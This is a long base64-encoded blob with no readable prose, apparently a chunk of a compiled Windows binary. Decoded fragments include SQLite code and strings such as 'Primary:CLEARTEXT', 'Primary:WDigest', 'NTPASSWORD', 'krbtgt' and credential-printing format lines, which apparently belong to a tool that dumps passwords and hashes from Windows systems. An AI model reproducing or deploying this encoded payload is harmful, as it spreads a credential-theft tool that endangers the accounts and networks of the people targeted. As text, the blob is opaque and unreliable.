AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAwUDBAUEAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANnVBfkgoWPXAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/wAAAgADAAUABgAHAAgACQABAgUKDxQZGRkyMmQeBAAAMDEyMzQ1Njc4OUFCQ0RFRgAHBAYEKAoFIA4FMBMEOBcFARwFAwAAAOIAAwBfAIoAigCmAAwBMwA0ACoAZwJnAnMC9wBrAmsCMQAxADIAMgAyADIAlwIwADAAMAAwAC8ALwAuAC4ALgAtAPUAtQK1AuIALgAuAC4ALQD1ALsAMwA0ACoAZwJnAnMCKAFrAmsCMQAxADIAMgAyADIALQEwADAAMAAwAC8ALwAuAC4ALgAtAPUALwAvAC4ALgAuAC0A9QA5ArYCTwBfAOIAnAO1ArUCAwI6AhcAMwA0ACoAZwJnAnMC9QBrAmsCMQAxADIAMgAyADIASgIwADAAMAAwAC8ALwAuAC4ALgAtAPUAjgA4AgsBIgEfAR4BLAApAOIAGAIZAsgA+QDVAB0BMwA0ACoAZwJnAnMCOwBrAmsCMQAxADIAMgAyADIAGAAwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gANArEC7AEsACkAAwEzADQAKgBnAmcCcwLkAWsCawIxADEAMgAyADIAMgCBAjAAMAAwADAALwAvAC4ALgAuAC0A9QDiAKEABAHlAbAC8wG0ADMANAAqAGcCZwJzAggCawJrAjEAMQAyADIAMgAyAHIDMAAwADAAMAAvAC8ALgAuAC4ALQD1AOIAOwCqA3EAlgIBAAABMwA0ACoAZwJnAnMCsABrAmsCMQAxADIAMgAyADIA5wEwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gBoAmgCdAIjAacCqAIzADQAKgBnAmcCcwI5AmsCawIxADEAMgAyADIAMgA6AjAAMAAwADAALwAvAC4ALgAuAC0A9QDiAAsCsQJSAu4ApwKoAjMANAAqAGcCZwJzApMAawJrAjEAMQAyADIAMgAyAC0BMAAwADAAMAAvAC8ALgAuAC4ALQD1ADcCHALMAc0BzgHmAbsA4gC2AksAnwBsAiwAKQAzADQAKgBnAmcCcwIfAGsCawIxADEAMgAyADIAMgAsATAAMAAwADAALwAvAC4ALgAuAC0A9QDiACkBDQEVASwAKQBRAjMAKAAqAGcCZwJzAiIAawJrAjEAMQAyADIAMgAyAOQAMAAwADAAMAAvAC8ALgAuAC4ALQD1AOIAtAD0AJIAkQCQAAcBKgI0ACoAZwJnAnMCfwBrAmsCMQAxADIAMgAyADIApgIwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gDvAOUAzAC0AJID3gHjAKIAKgBnAmcCcwJNAmsCawIxADEAMgAyADIAMgC0AjAAMAAwADAALwAvAC4ALgAuAC0A9QAnAKkCNQCmAuoArQKvAPwAsQDuAScAowA1AKYADAEeAIoANQCAABABlwB7ANQAJgHPACUBlAAkACUAHQL6AKICogLLACYA9gD2ACQAJQC2Ag4AKgIkACUAJgD2APYAtQKkACYA9gD2ADIAMgAyADIAKwAwADAAMAAwAC8ALwAuAC4ALgAtAPUAMAAwADAAMAAvAC8ALgAuAC4ALQD1ADYAowKkAl4C/gAvAS4BLQD1AFMCdgAUArICXgLvAS8BLgG1Al4CUwIvAS4BDwGgAFMCfQB8ALUA3ADbANoAmgDYAOgB6AHWAbcAWAJYAlgCWgILAKICogLtAOwAtABYAlgCWAJaAgsAWAJYAlgCWgILAC0BtAAyADIAMgAyAO8BMAAwADAAMAAvAC8ALgAuAC4ALQD1ADkAjAK2AksAUQJeAk8CWQJeAokAWQJTAokCOgBTAnQAowKkAo4AMgHJASIBHwEeARACrgAtAW4AogKiApUCAQAdAeIBEwLMACkBEQFfAFgCWAJYAlgCWAJYAo0CtgJLAB4CogKiAqICogItAaICogIaARsAuAK4AmkAuQCOAuYADgItAZMADQDpAC0B8QAtARIBtgIPAC0BDwKjAqQCswApASoB4gH6AQgBtgJLAOcAggC2AksAtgIPANsBLQG2Ag8AJAGjAqQCowKkArwAowKkAhgBbwD7ARMB6wAUArIChAOXArYCDwDTADsA4QDoAC0BDwEsAhYBKwItATsA0gCnABgCGQItAbYALQH4ABsA8gCoAC0BrgK2AkMA9wEtAfEBtgJEAC0B9gEtAeQAtgJFALYCRgDLAC0BFgK2AkcAHQAtAb4AtgJIAC0BKAK2AkkAtgI8AC0BiAItAZ4AjAC2Aj0ALQFbAi0BtgIQAC0BMQK2Aj4ALQEjAC0BIQC2AkoAtgJVAC0BFQAtAbYCTAC2AkAALQG2Ak0ALQH1AbYCTgC2AkEALQFQAi0BHwK2AngAtgJ5AMEALQGIArYCegAtAbYCUgAtAVsCLQHHALYCVgC2AlAABAItAc0ALQH0AbYCVwAtAc4AtgJYAC0BtgJUALYCdQAtATMCVwItAYkAtgJwALYCYQAtARsBtgJdAI8ALQG2AlkA4wEtAW8AtgJaAN0BtgJRAMkApQDXABsAtgJTAN4AiwKLArYCQgARACMCtgI/AIoCigLTAeABhALSATgAjwD5AfgBBAAAAgEC1AGcAt0ARwL7ALIAwADGAHcAIAGBAIYCKwGFAvMBnwLRAEwCXgBiAG0AFQD9AEQCZQCHACkCgAL/AAIBhABnANUBhQBoAGwABgEUAQoBJgIUAIsAGQC9ABkBJQInARYAFQLCABcBxQDDAN8ABwLEAPMAvwAGAgUC/gHwAOsB4ADxAf0B0ADqAekBqwIgAJgAnQKpANoBDAAwAZkAmwCtAJwAqgA3ADEB0AFbAM8BqwDKAUsCYwBcABIAEwBkABECZgAFAIMA2AG4AAEBugCSAnIAhgBzAAUBfgCTAgYACQEXAgIAiACdAA4BMgJqAB0ALQIHAGsAGwAIANIAjQAcARoACQAhAcoACgCsAOEB/AEcAGAAXQJcAnYClQCWAJQDkwPWANkAmAJuYXR1cmFsZWZ0b3V0ZXJpZ2h0ZnVsbGlubmVyY3Jvc3MAAABxtQAQm7UAEKW1ABCgtQAQ3bUAEOi1ABDrtQAQAAAAAAAANzQcGRsaAAAAAAAAAAEBAQEBABAAAQABAQESAwMBAQMDJiYJCQkJCQMDCwsLCwsLCSYmJiYmJiYmJiYJEgkBAQEBAQEBASMLAQEDAwMBAQECAggAEBAQEAAQEAAAEBAAAAAAAgICAAAAAAAQEAAQAAAAAAAAAAAAABAQAAAAAAAAAAAQAAQEAAAQEAAAEBAQAAAAAAAABhAABBoAAAAAAAAAAAAAABAQAAAAAAAAZFIIEAEAAABoUggQAQAAAHRoc3RuZHJkAAAAABASXBQUdncXGBkaGxxnHh8gISIjJCUBJygpKissLS4vMDEzMxAtLi8wMZYXGBkaGxwtHh8gISIjJCWWJygpKissLS4vMDErLC0uLzAxOaqrXBATZGQWQhYXGBkaGxwxHh8gISIjJCWhJygpKissLS4vMDFmreFpamva2xB4eROW3HQXGBkaGxzCHh8gISIjJCVQJygpKissLS4vMDEQvL0T2tubFxgZGhscqh4fICEiIyQlaicoKSorLC0uLzAxENehE7GylhcYGRobHLoeHyAhIiMkJYwnKCkqKywtLi8wMRDCjo+Qkd8XGBkaGxy/Hh8gISIjJCWqJygpKissLS4vMDEQGhscpqeoFxgZGhscOR4fICEiIyQlQicoKSorLC0uLzAxELy9E6anqBcYGRobHBoeHyAhIiMkJZYnKCkqKywtLi8wMa3PBAUGqpYQqqsSaNrbFxgZGhscih4fICEiIyQllicoKSorLC0uLzAxEMzNltrblhcYGRobHIoeHyAhIiMkJW4nKCkqKywtLi8wMRCWEG9wceEWGBkaGxyWHh8gISIjJCUzJygpKissLS4vMDEQMdaWlnqkpb8ZGhscVB4fICEiIyQlFicoKSorLC0uLzAxEKkSZLm3b3BxsRC/EnZ3EBQSZZZmZ2hpamtsKywtljM0czIzNCssqqt8KywyMzQzzzIzNCIjJCUmJygpKissLS4vMDEnKCkqKywtLi8wMRJkZWKWZGUwMWh7wMFiM2RlZGJoZGXLAmgrLA0HCAkKCzM0DpaEhYaHiDM0KyyWhIWGh4iEhYaHiJaWIiMkJWQnKCkqKywtLi8wMRIJqquWYhNkYhZkaL8SaBRkZWaSk2lqa7+YlpozNJCRdDOhlszNXISFhoSFhjWqqy0zNDM0ljM0EBaEhVOWRnVIlhrC1pa5lhCqq5ZUZGWMzM1kPaGqq7gWqquqq6GWqqtLZGVkZZZkZbiWVTS4wMEAAaqraMKizJbLfMx8lsJzuHh5lhOW2BZytZa3qquzlm2qq5azlm6qq6qrc5YTqqsWls+qq5aWqquqq5YzltDRqquWM5aqq5aWqquWiZaLqquqq5aClqqrqquWqquWs6qrqquWlpaWqquqq5aWZKqrlqqrlmSWlqqrqquWlpaWlqqrlpaqq5aqq6qrlhOWlhaqq6qrlhOqqxaWqquWlpaqq5aqqxPEnhaqq6KEhaqrztKqq4SFlhMTlhYWZ2jDBAWWlpTG09PTxcOutq3erbKZrbsXEtmCD8a7ep3GnQ+cvp2cvhKvfa/Vbp2B1H7VboDKyX/GyK+sx0nUrKy0MayvbbSsrqysiRUK4KAWn5eX3QPgsJWVo5WwlXeDoyEhchF7Em4RjBANExIWEhR6ExIUExI8ExY0EhZ8PBIWPHNsThISThMSThM2EkATEwh6enp6EwwBCgoJCQgIBwcHBgYGBQUFBAQEBAMDAwMDAwICAgICAgKOtgAQ2bYAEBi3ABBUtwAQdbcAEIC3ABCwtwAQAAAAAAAAAAA3NAAAAAAAAGQKAQAAAHMABAUAAGcAAQMeAHoABAYAAHEABAkAAFEABAoAAHcABA4AAGMAAAgAAG8IAAAAAnUKAAAAAHgQAAAQAVgQAAAABGkKAQAAAG4AAAQAACUAAAcAAHAQAA0AAVQAAgsAAFMAAgwAAHIKAw8AAAAABAUDBQEFAQUCBQIFAQUBBQQFAwUBBQEFAgUCBQEFAQXotQAQ6LUAEIq2ABDrtQAQ67UAEOi1ABDrtQAQAAAAAAAAAAAAupwNMbUAABUAOgLQAdAB0AHQAdAB0AHQAdAB0AHQARwCbQHw/xQAFADGAdAB0AHQAdAB0AHQAdAB0AHQAdAB0AHQAdAB0AHQAdAB0AHQAdAB0AHQAdAB0AHQAdUB0AHQAdAB0AHQAdAB0AHQAdAB0AHQAdABmAImAiYCwgGP/0EAawCNAK8A0QDzABUBPgE+AT4BPgE+AT4BPgE+AT4BPgE+AT4BPgFgAYIBpAGkAegBPgI+Aj4CPgI+AvMBhAGEARsAaAJZAmgC+P/CAcIBwgHCAcIBwgHCAcIBwgHCAcIBpv9JAHUB/AHgAvT/9P/0/y0Ajv+O/47/jv+O/xMCFgIWAnMCbgJwAg0AwgHCAcIBwgHCAcIBwgHCAcIB7//CAcIBwgHCAYYChgKGAsIBwgHCAcIBwgHCAcIBwgHCAcIB0gGDAQQARQGyAqgCqAKoArQBeQKTAj8A1wDXABgB1wCjAmsCmwOhA5sDMwOnAz8DpwMzAz8DrgM/A64DsQOxA0gDWgNIA1oDPwNJA04DTwNTAzMDsQNgA2ADYAOPA6wDrAOxA2ADcwNgA48DYANgA10D0gPVA94D3gPtA+0D7QPtA47/jv+O/47/6gBeAiYBYwIzAuEC+gJZA2IDcQMHAw8DgwMAAukChAM0A5oDfALwAj8BggN3A9sD3AOMA4UD7gPvA5QDeAPyA/UD+QP0A/YD9wPzA/oD+AP7A/MD/AP9A/8D/gOSAwAE4QPWAwQEnAMBBN0DBQTgA6oDsgMIBNEDDgQPBBAEEgTUAxME8QMWBNcD6QMXBAEEGAQkBLMDtAO1A7YDHgQmBDIEAABTUUxpdGUgZm9ybWF0IDMAAQAAAAEBAwIAADMAMzMzADMzMzMAAAAzAAAAAAAzAAAAADMzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMAHgIAABgAGgB0xAgQYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkAAAoEAgIGAgMFBAQDBAYEBgsCBwMEAwkJBAIHBAUHAgkGBQcFBgcHAwQFBAcGDAUGBgkJBAUGBwUFBgQFBwUDBwMGCAURDAgIAgQEBAQEAgYCBgYFBQgGBQAEfggQEH4IEFh+CBAMAAAAWMEHEAAAAAC+xQMQoKYIELSmCBBo1gcQCQAAANDDBxCO2QMQxtkDEBsbGxsbGxsbGwcHGwcHGxsbGxsbGxsbGxsbGxsbGxsbBw8IBQQWGAgREhUUFwsaEAMDAwMDAwMDAwMFEwwODQYFAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAQEJGxsbAQgBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQABARsKGxkbAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAJAAAAGwAXAAAAAAAAEgAAAAAAAAAjAAAAAAUACgAAABoAAB0AACAAAAAAAC0AFQBHQgBKAAAHAAAzHBAALwAAZqsDEER7CBBQewgQuqwDEMR7CBDYewgQwa8DEBh8CBAwfAgQaLgDELh8CBDMfAgQNdEDEAB9CBAMfQgQxdMDECh9CBAwfQgQ9csDEEx9CBBYfQgQJM0DEGx9CBB4fQgQS9UDEJB9CBCcfQgQytcDELB9CBC8fQgQWscDENB9CBDgfQgQXsYDEPh9CBAAAAAAezIEEFj0CBBo9AgQqDIEENj0CBDk9AgQQ09OU1RSQUlOVE9GRlNFVEFCTEVGVEhFTkRFU0NBUEVMU0VMRUNUUkFOU0FDVElPTkFUVVJBTExJS0VZU0FWRVBPSU5URU1QT1JBUllXSVRIT1VURVJFTEVBU0VYQ0xVU0lWRVhJU1RTQkVHSU5ERVhFREVMRVRFQkVUV0VFTk9UTlVMTElNSVRDQVNFQ09MTEFURUNSRUFURUNVUlJFTlRfREFURUdST1VQREFURUlHTk9SRUNVUlNJVkVJTU1FRElBVEVKT0lOTkVSRUdFWFBSSU1BUllNQVRDSEVDS1ZBTFVFU1dIRU5XSEVSRVBMQUNFQUJPUlRBTkRFRkFVTFRBU0NPTU1JVENPTkZMSUNUQ1JPU1NDVVJSRU5UX1RJTUVTVEFNUERFRkVSUkVESVNUSU5DVERST1BGQUlMRlJPTUZVTExHTE9CWUhBVklOR0lGSU5TRVJUSVNOVUxMT1JERVJJR0hUUk9MTEJBQ0tVTklRVUVVU0lORwAAAAAArMwHEEzFBxC00AcQ5L8HEATLBxCMywcQ/MsHEHDHBxAczgcQhMUHEETKBxD0zQcQ+M4HEDTPBxDEygcQyL8HEIDEBxCMzQcQeMwHEADGBxAJ2gMQtKQIELykCBBo3QMQ7KQIEPikCBDm3wMQGKUIECClCBD+2wMQUKUIEFilCBCO2wMQhKUIEJClCBCg5AMQsKUIEMClCBBQ8wMQwIEIEOilCBBf+AMQFKYIEBymCBB1+AMQSKYIEFimCBAAAAAATMkIEDTdBxBwyQgQNN0HEJDJCBCoyQgQwMkIENDJCBDkyQgQ9MkIEAjKCBAkyggQMMoIEETKCBBYyggQ4CEIECTOCBA4zggQAAAAAAUAAAAQxQcQqRAEEB4RBBABAAAAZAoAgAIAZGRkCgCAAwBkAAAKCoAEAAAAZAIAgAUAZGRkAgCAAABkAAACFIAAAAAAuM4IENDOCBDczggQ6M4IEAEAAAoAAQCAAgAAGQABAIADAABLAAEAgAQAAGQAAQCABQAASwABAIAAAAAZAAEAgK8SBBDspAgQaNYHEE0RBBDwzQgQaNYHECYTBBAAzggQaNYHECYRBBAQzggQaNYHENUUBBAYzggQaNYHEGzWCBB81ggQAAAAAAgAAACgxQcQCBUEEJoWBBDYLQkQAAAAAAUAAAAGAAAAAQAAAAgAAAAHAAAADPUIEBj1CBAAAAAAAgAAAOjBBxAAAAAAAAAAAAMXBBB80wgQkNMIEMgYBBDM0wgQ3NMIEFkZBBAQ1AgQLNQIEOkcBBBo1AgQeNQIEHgqBBDAgQgQwNQIECMvBBDYIggQENUIENwwBBAAfQgQmNUIEBIyBBAofQgQCNYIEOT2CBDs9ggQAAAAAAEAAAAcxgcQAAAAAAAAAABkMwQQ1PYIEAAAAABQAGEAYwBrAGEAZwBlAHMAAAAAAAAAAADbPQQQAAAAAPT/CBD4/wgQe0AEEAAAAABYAAkQYAAJEAAAAAAHwCIApAAJELAACRAAAAAAC8AiANAACRDcAAkQAAAAAEPAIgDsAAkQ/AAJEONABBAAAAAAGAEJEDgBCRA4QgQQAAAAAFgBCRB0AQkQ7kIEEAAAAACkAQkQyAEJEAAAAACDwCIABAIJEBQCCRAAAAAAw8AiADACCRA8AgkQAAAAAAPBIgBQAgkQbAIJEAAAAAAHwSIAqAIJEMACCRAAAAAAC8EiAPwCCRAUAwkQAAAAAA/BIgBMAwkQYAMJEAAAAAATwSIAoAMJELgDCRAAAAAAQ8EiAPQDCRAEBAkQAAAAAEfBIgAkBAkQPAQJEFJDBBAAAAAAYAQJEHgECRBERQQQAAAAALgECRDQBAkQZBcJEHQXCRAAAAAACQAAAKDJBxAAAAAAAAAAAAAAAACYRgkQqEYJEMhGCRDURgkQ+EYJEAhHCRAoRwkQUEcJEJBHCRDARwkQ4EcJEPBHCRAkSAkQWEgJEIRICRCYSAkQrEgJENRICRD4SAkQIEkJEFBJCRBsSQkQkEkJELxJCRDgSQkQMEoJEFxKCRCMSgkQqEoJEMRKCRDgSgkQ/EoJEAsGBwEICg4AAwUCDw0JDARQAHIAaQBtAGEAcgB5ADoAQwBMAEUAQQBSAFQARQBYAFQAAADQHAkQ4BwJEDAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkAAAAAHDYJECw2CRBANgkQUDYJEGQ2CRCMNgkQIUAjJCVeJiooKXF3ZXJ0eVVJT1BBenhjdmJubVFRUVFRUVFRUVFRUSkoKkAmJQAAUAByAGkAbQBhAHIAeQA6AEsAZQByAGIAZQByAG8AcwAAAAAAUAByAGkAbQBhAHIAeQA6AFcARABpAGcAZQBzAHQAAABQAHIAaQBtAGEAcgB5ADoASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAPAtCRBQAHIAaQBtAGEAcgB5ADoATgBUAEwATQAtAFMAdAByAG8AbgBnAC0ATgBUAE8AVwBGAAAATlRQQVNTV09SRAAAAgAAAAYAAAADAAAABwAAACgdCRAwHQkQPB0JEEQdCRDaRgQQSBMJEFATCRDXSAQQ0BMJEOATCRDoSAQQ+H0IEGgUCRBIZQQQ/BQJEAgVCRD2cgQQqBUJELgVCRCwegQQWBYJEAAAAABtfAQQcBYJEAAAAAAofQQQgBYJEJAWCRCliQQQ1BYJEOgWCRBMTVBBU1NXT1JEAABrAHIAYgB0AGcAdAAAAAAAHC4JEAAAAACsOAkQvDgJEMw4CRDcOAkQCC4JENxWCRDoVgkQAAAAAAgAAABgygcQAAAAAAAAAAABkgQQJFQJEDBUCRAfkgQQjFQJEKBUCRA9kgQQEFUJECBVCRBbkgQQhFUJEKBVCRCrlQQQCFYJEBhWCRDxlwQQoFYJEAAAAACenAQQsFYJEAAAAAAwoAQQxFYJEAAAAAAIWgkQ1GMJEGjWBxAAAAAAAwAAAODKBxAAAAAAAAAAADihBBCouQgQaNYHEOi1ABCwYwkQaNYHEOi1ABDIYwkQaNYHEPBqCRAEawkQAAAAAAkAAAAgywcQAAAAAAAAAADzpgQQ5GgJEPBoCRD7pgQQGGkJEChpCRADpwQQzBoJEFxpCRALpwQQjGkJEJRpCRATpwQQuGkJEMhpCRAbpwQQ9GkJEARqCRAjpwQQMGoJEEBqCRBSpgQQ1LkIEIRqCRCLpgQQYKAIELhqCRDsAAkQjG4JEAAAAAAHAAAAqMsHEAAAAAAAAAAAK6cEEOykCBD8AAkQ7KgEEGxtCRB8bQkQAKkEEJhtCRCobQkQN6cEEMRtCRDQbQkQm6cEEPBtCRD8bQkQrKcEECRuCRA0bgkQvacEEFhuCRBobgkQxLkIEFR0CRAAAAAACAAAABjMBxAAAAAAAAAAAFyrBBDEbQkQKHMJEHmrBBDEDAkQRHMJEJarBBDwbQkQZHMJELOrBBAkbgkQgHMJENCrBBBYbgkQoHMJEO2rBBDAcwkQ2HMJEAqsBBAAdAkQFHQJEOi1ABDspAgQOHQJEDSBCBA4egkQAAAAAAIAAACUzAcQAAAAAAAAAADwrgQQvHkJEMx5CRCUsAQQ9HkJEAB6CRAkhAkQOIQJEFiECRAKAAAAyMwHEAAAAAAAAAAAsbYEEGiICRB0iAkQwrYEEJCICRCYiAkQELcEEBCJCRAgiQkQHrcEEKyJCRC8iQkQLLcEEPCJCRAAigkQcrcEEJD1CBBAigkQzLcEEISKCRCYigkQF7gEENyKCRDwigkQbrgEEDSLCRBAiwkQHbkEEPCDCRAEhAkQtJMJENCTCRD4kwkQGJQJEESUCRCAlAkQzJQJECu5BBDspAgQiIsJEBi6BBCciwkQpIsJEIe7BBC0iwkQvIsJEPO8BBDMiwkQ1IsJEDBqCRDoiwkQAAAAAAQAAABczQcQAAAAAAAAAAB9vgQQZJUJEHSVCRAuvwQQ7KQIEKiVCRBBvwQQ5JUJEPSVCRB4wQQQHJYJECyWCRAgUQgQHDYJELCbCRB8mwkQkJsJELCbCRDMmwkQXJYJEGiWCRAAAAAABAAAAKjNBxAAAAAAAAAAAOrDBBCQnQkQqJ0JEDSeCRA8ngkQAAAAAAEAAAAQzgcQAAAAAAAAAAAkxQQQ7KQIEOykCBAZzwQQTH0IEEx9CBC+NQ4+dxvnQ7hzrtkBtidbiJ8JEAAAAAA4eJ3mtZHJT4nVIw1NTMK8qJ8JEAAAAADzb4g8aSaiSqj7P2dZp3VI0J8JEAAAAAD1M+Cy3l8NRaG9N5H0ZXIM8J8JEOfJBBArobi0PRgISZVZvYvOcrWKBKAJEOfJBBCRcsj+9hS2QL2Yf/JFmGsmKKAJEOfJBBCjUEMdDTP5SrP/qSekWZisPKAJEAAAAABsfQgQoJ4JEAAAAAACAAAAOM4HEAjEBBARxQQQi9IEEFSwCRBUsAkQMDEyMzQ1Njc4LkY/ICEhAAwAAABgsAkQeLAJEAAAAAABAAAAFM8HEAAAAAAAAAAAJwAAAB4AAAAcAAAAFgAAACQAAAAHAAAACwAAAC8AAACDDQUQ8LkJEPi5CRDmEgUQMLoJEEC6CRBw/gQQoKYIEHS6CRDoEQUQrLoJELi6CRB8DAUQ6LoJEPi6CRDNEAUQLLsJEDS7CRCO4QQQYLsJEIC7CRAS4QQQ7AAJENi7CRAl4QQQNLwJEEi8CRBA7QQQpLwJEKy8CRCz6AQQtLkIEMi8CRCW6wQQ2LwJEPC8CRC1/gQQGL0JECi9CRDl/gQQVL0JEGC9CRBh/AQQBH4IEJy9CRCg+gQQzL0JENy9CRBkxQkQjMUJEKDFCRC4xQkQyMUJENTFCRDkxQkQ8MUJEADGCRAkxgkQRMYJEGjGCRCMxgkQvMYJEHzXBBB22QQQq9kEEMxJChDISQoQOdsEEGHcBBBV3gQQxDEKEMgxChBIOQoQrDoKECQ8ChAcOQoQqDgKELw5ChBQNgoQ9DMKEJwzChAQvgkQJL4JEEi+CRAQAAAAcM8HEGrhBBCG4QQQaAAAAAgAAAAsAAAAMAAAABAAAAAYAAAASAAAACgAAABgAAAAOAAAAEAAAABgAAAACAAAACwAAAAwAAAAEAAAABgAAABIAAAAKAAAAFwAAAA4AAAAQAAAAKgAAABAAAAAbAAAAHAAAABQAAAAWAAAAIgAAABoAAAAoAAAAHgAAACAAAAAoAAAAEAAAABsAAAAcAAAAFAAAABYAAAAiAAAAGgAAACcAAAAeAAAAIAAAACoAAAAQAAAAHgAAAB8AAAAXAAAAGQAAACQAAAAdAAAAKQAAACAAAAAiAAAAMgAAABAAAAAdAAAAHwAAABQAAAAWAAAAJAAAABwAAAAwAAAAIAAAACIAAAA2AAAAEAAAACAAAAAiAAAAFwAAABkAAAAoAAAAHwAAADQAAAAkAAAAJgAAAD0MwoQqDgKEAAAAABMAAAAIAAAADgAAABEAAAAAAAAAAQAAABkAAAAIAAAAFAAAABcAAAAAAAAAAQAAABsAAAAIAAAAFgAAABkAAAAAAAAAAQAAAAcOQoQAAAAADQAAABgAAAAoAAAAKgAAACwAAAAuAAAALwAAAAQAAAAFAAAABgAAAAgAAAAKAAAADAAAAA4AAAAPAAAAEQAAABIAAAAaAAAAHAAAAB4AAAAmAAAAKAAAACcAAAAqAAAAJgAAAAQAAAACAAAABQAAAAcAAAAKAAAACAAAAAsAAAAWAAAAJgAAACoAAAAuAAAAMgAAADMAAAAEAAAABQAAAAYAAAAIAAAACgAAAAwAAAAOAAAAEAAAABIAAAATAAAAGAAAABoAAAAcAAAAJAAAACYAAAAlAAAAKAAAACQAAAAEAAAAAgAAAAUAAAAHAAAACgAAAAgAAAAJAAAAFAAAACQAAAAoAAAALAAAADAAAAAxAAAABAAAAAUAAAAGAAAACAAAAAoAAAAMAAAADgAAABAAAAASAAAAEwAAABgAAAAaAAAAHAAAACQAAAAmAAAAJQAAACgAAAAiAAAABgAAAAMAAAAGAAAACAAAABAAAAAKAAAACQAAABQAAAAkAAAAKAAAACwAAAAwAAAAMQAAAAQAAAAFAAAABgAAAAgAAAAKAAAADAAAABAAAAASAAAAFAAAABUAAAAaAAAAHAAAAB4AAAAmAAAAKAAAACcAAAAqAAAAIgAAAAYAAAADAAAABgAAAAgAAAAQAAAACgAAAAkAAAAUAAAAJAAAACgAAAAsAAAAMAAAADEAAAAEAAAABQAAAAYAAAAIAAAACgAAAAwAAAAQAAAAEgAAABQAAAAVAAAAGgAAABwAAAAeAAAAJgAAACgAAAAnAAAAKgAAACIAAAAGAAAAAwAAAAYAAAAJAAAAEAAAAAoAAAAKAAAAFgAAACoAAAAuAAAAMgAAADYAAAA3AAAABAAAAAUAAAAGAAAACAAAAAoAAAAMAAAAEAAAABIAAAAUAAAAFQAAABoAAAAcAAAAHgAAACYAAAAoAAAAJwAAACoAAAAoAAAABgAAAAMAAAAGAAAACgAAABIAAAAMAAAACgAAABYAAAAqAAAALgAAADIAAAA2AAAANwAAAAQAAAAFAAAABgAAAAgAAAAKAAAADAAAABIAAAAUAAAAFgAAABcAAAAcAAAAHgAAACAAAAAoAAAAKgAAACkAAAAsAAAAKAAAAAYAAAADAAAABgAAAAoAAAASAAAADAAAADg2QkQENoJEDDaCRAAAAAACAAAAAAAAABEAAAARQAAAEYAAAAQAAAAIAAAADAAAAAAAAAAAAAAAAgAAAAQAAAAEQAAABIAAAATAAAAFgAAACYAAAA2AAAAFAAAAAAAAAAIAAAAEAAAABEAAAASAAAAEwAAABgAAAAoAAAAOAAAABYAAAAOAA8AWN0JEAcACABQ3QkQSDkKELw5ChCsOgoQJDwKEAAAAAAlACoAcwAqACoAQwBSAEUARABFAE4AVABJAEEATAAqACoACgAAAAAAAAAAACUAKgBzACAAIABjAHIAZQBkAEYAbABhAGcAcwAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABjAHIAZQBkAFMAaQB6AGUAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABjAHIAZQBkAFUAbgBrADAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAKAAAAAAAAACUAKgBzACAAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAtACAAJQBzAAoAAAAAAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAOgAgAAAAAAAKAAAAJQAqAHMAIAAgAHUAbgBrAEYAbABhAGcAcwBPAHIAUwBpAHoAZQAgA